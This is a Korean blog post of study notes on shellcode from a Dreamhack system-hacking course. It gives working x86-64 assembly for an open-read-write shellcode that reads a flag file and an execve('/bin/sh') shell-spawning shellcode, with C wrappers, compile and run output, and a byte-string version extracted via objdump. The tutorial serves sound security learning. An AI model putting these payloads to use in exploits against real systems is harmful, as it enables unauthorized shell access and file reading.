[dreamhack] System-stage4 : Shellcode

mj·2023년 4월 1일
0
post-thumbnail

1. 서론

  • Exploit
    상대 시스템을 공격하는 것
    "부당하게 이용하다" 라는 뜻

셸코드

셸코드는 익스플로잇을 위해 제작된 어셈블리 코드 조각이다.
일반적으로 셸을 획득하기 위한 목적으로 셸코드를 사용하기 때문에 특별히 "셸" 이 접두사로 붙은 것!!

셸코드는 어셈블리어로 구성되므로 공격을 수행할 대상 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성된다.

이번 코드에서는 파일 읽고 쓰기, 셸 획득 과 관련된 셸코드를 작성해볼 것이다.

2. orw 셸코드

orw(open-read-write) 셸코드 작성

orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드이다.

이번 코드에서는 "/tmp/flag" 를 읽는 셸코드를 작성해볼 것이다.

  • 구현하려는 셸코드의 동작을 C언어 형식의 의사코드로 표현
char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);

orw 셸코드를 작성하기 위해 알아야 하는 syscall 은 아래와 같다.

syscallraxrdidsirdx
read0x00unsigned int fdchar *bufsize_t count
write0x01unsigned int fdconst char *bufsize_t count
open0x02const char *filenameint flagsumode_t mode

open()

int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
  • open() 시스템 콜은 pathname 으로 특정된 파일을 연다.
  • open() 의 반환값은 정수로 표현되는 file descriptor 이다.
  • file descriptorread(), write() 등의 시스템 콜에서 사용된다.

read()

ssize_t read(int fd, void *buf, size_t count);
  • read()는 fd file descriptor 로부터 count 만큼의 바이트를 buf 로 가져오는 시스템 콜이다.

write()

ssize_t write(int fd, const void *buf, size_t count);
  • write() 는 buf 에서 count 만큼의 바이트를 fd 가 참조하는 파일에 작성한다.

file descriptor

  • 파일 디스크립터는 리눅스 혹은 유닉스 계열의 시스템의 프로세스에서 특정 파일에 접근할 때 사용하는 추상적인 값이다.
  • 파일 디스크립터는 일반적으로 0이 아닌 정수값을 갖는다.
  • 표준입력, 표준출력, 표준에러에는 각각 0, 1, 2라는 정수가 할당된다.

1. int fd=open("/tmp/flag". O_RDONLY, NULL);

syscallraxrdidsirdx
open0x02const char *filenameint flagsumode_t mode

첫번째로 할 일은 "/tmp/flag" 라는 문자열을 메모리에 위치시키는 것이다.

  1. 1) 이를 위해 스택에 0x616c662f706d742f67(/tmp/flag) 를 push 한다.
  1. 2) 그리고 rdi(첫번째 인자) 가 이를 가리키도록 rsp 를 rdi로 옮긴다.

  2. O_RDONLY 는 0이므로 rsi는 0으로 설정

  3. 파일을 읽을 때 mode 는 의미를 갖지 않으므로, rdx는 0으로 설정

  4. 마지막으로 rax 를 open 의 syscall 값인 2로 설정

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

2. read(fd, buf, 0x30)

syscallraxrdidsirdx
read0x00unsigned int fdchar *bufsize_t count

syscall 의 반환값은 rax 로 저장된다. 따라서 open 으로 획득한 /tmp/flag 의 fd 는 rax 에 저장된다.

  1. read 의 첫번째 인자를 fd 값으로 설정해야되므로, rax 를 rdi에 대입

  2. rsi 는 파일에서 읽은 데이터를 저장할 주소를 가리킨다. 0x30 만큼 읽을 것이므로 rsi 에 rsp-0x30 을 대입

  3. rdx 는 파일로부터 읽어낼 데이터의 길이인 0x30 으로 설정

  4. read 시스템콜을 호출하기 위해서 rax 를 0으로 설정

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

3. write(1, buf, 0x30)

syscallraxrdidsirdx
write0x01unsigned int fdconst char *bufsize_t count
  1. 출력은 stdout 으로 할 것이므로, rdi 를 0x1로 설정

  2. rsi 와 rdx 는 read 에서 사용한 값을 그대로 사용

  3. write 시스템콜을 호출하기 위해서 rax 를 1로 설정

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

최종 코드

;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

orw 셸코드 컴파일

대부분의 운영체제는 실행 가능한 파일의 형식을 규정하고 있다.

윈도우의 PE, 리눅스의 ELF 가 대표적인 예이다.

ELF(Executable and Linkable Format)

  • 리눅스 운영체제에서의 실행 파일 형식
  • 크게 헤더와 코드, 기타 데이터로 구성
  • 헤더에는 실행에 필요한 여러 정보가 적혀있고, 코드에는 CPU 가 이해할 수 있는 기계어 코드가 있다.

위에서 작성한 셸코드 orw.S 는 아스키로 작성된 어셈블리 코드이므로, 기계어로 치환하면 CPU가 이해할 수는 있으나, ELF 형식이 아니므로 리눅스에서 실행될 수는 없다.

실행을 위해서는 컴파일러를 통해 ELF 형식으로 만들어야한다.

컴파일

셸코드를 실행할 수 있는 스켈레톤 코드를 C 언어로 작성하고, 거기에 셸코드를 탐재하는 방법으로 컴파일 진행

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");
void run_sh();
int main() { run_sh(); }

실행

셸코드가 실제로 작동함을 확인하기 위해 /tmp/flag 파일 생성

echo "flag{this_is_open_read_write_shellcode!}" > /tmp/flag

orw.c 컴파일 후 실행

gcc -o orw orw.c -masm=intel
./orw
flag{this_is_open_read_write_shellcode!}
&��U

3. execve 셸코드

execve 셸코드

셸(shell) 이란 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스로, 운영체제의 핵심 기능을 하는 프로그램을 커널 이라고 하는 것과 대비됨.

셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성공으로 여긴다.

execve 셸코드는 임의의 프로그램을 실행하는 셸코드인데, 이를 이용하면 서버의 셸을 획득할 수 있다.

execve("/bin/sh", null, null)

execve 셸코드는 execve 시스템 콜만으로 구성된다.

syscallraxrdidsirdx
execve0x3bconst char *filenameconst char *const *argvconst char *const *envp

여기서 argv 는 실행파일에 넘겨줄 인자, envp 는 환경변수이다.

여기에서는 sh만 실행하면 되므로 다른 값들은 전부 null로 설정

;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

execve 셸코드 컴파일 및 실행

컴파일

// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");
void run_sh();
int main() { run_sh(); }

실행

bash$ gcc -o execve execve.c -masm=intel
bash$ ./execve
sh$ id 
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

objdump 를 이용한 shellcode 추출

마지막으로, 작성한 shellcode 를 byte code(opcode) 형태로 추출하는 방법을 알아보겠다.

아래 주어진 shellcode.asm 에 대해서 이를 바이트 코드로 바꾸는 과정이다.

; File name: shellcode.asm
section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80
$ sudo apt-get install nasm 
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	31 c9                	xor    %ecx,%ecx
  11:	31 d2                	xor    %edx,%edx
  13:	b0 0b                	mov    $0xb,%al
  15:	cd 80                	int    $0x80
$ 
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....
$ 
execve /bin/sh shellcode: 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"
profile
사는게 쉽지가 않네요

0개의 댓글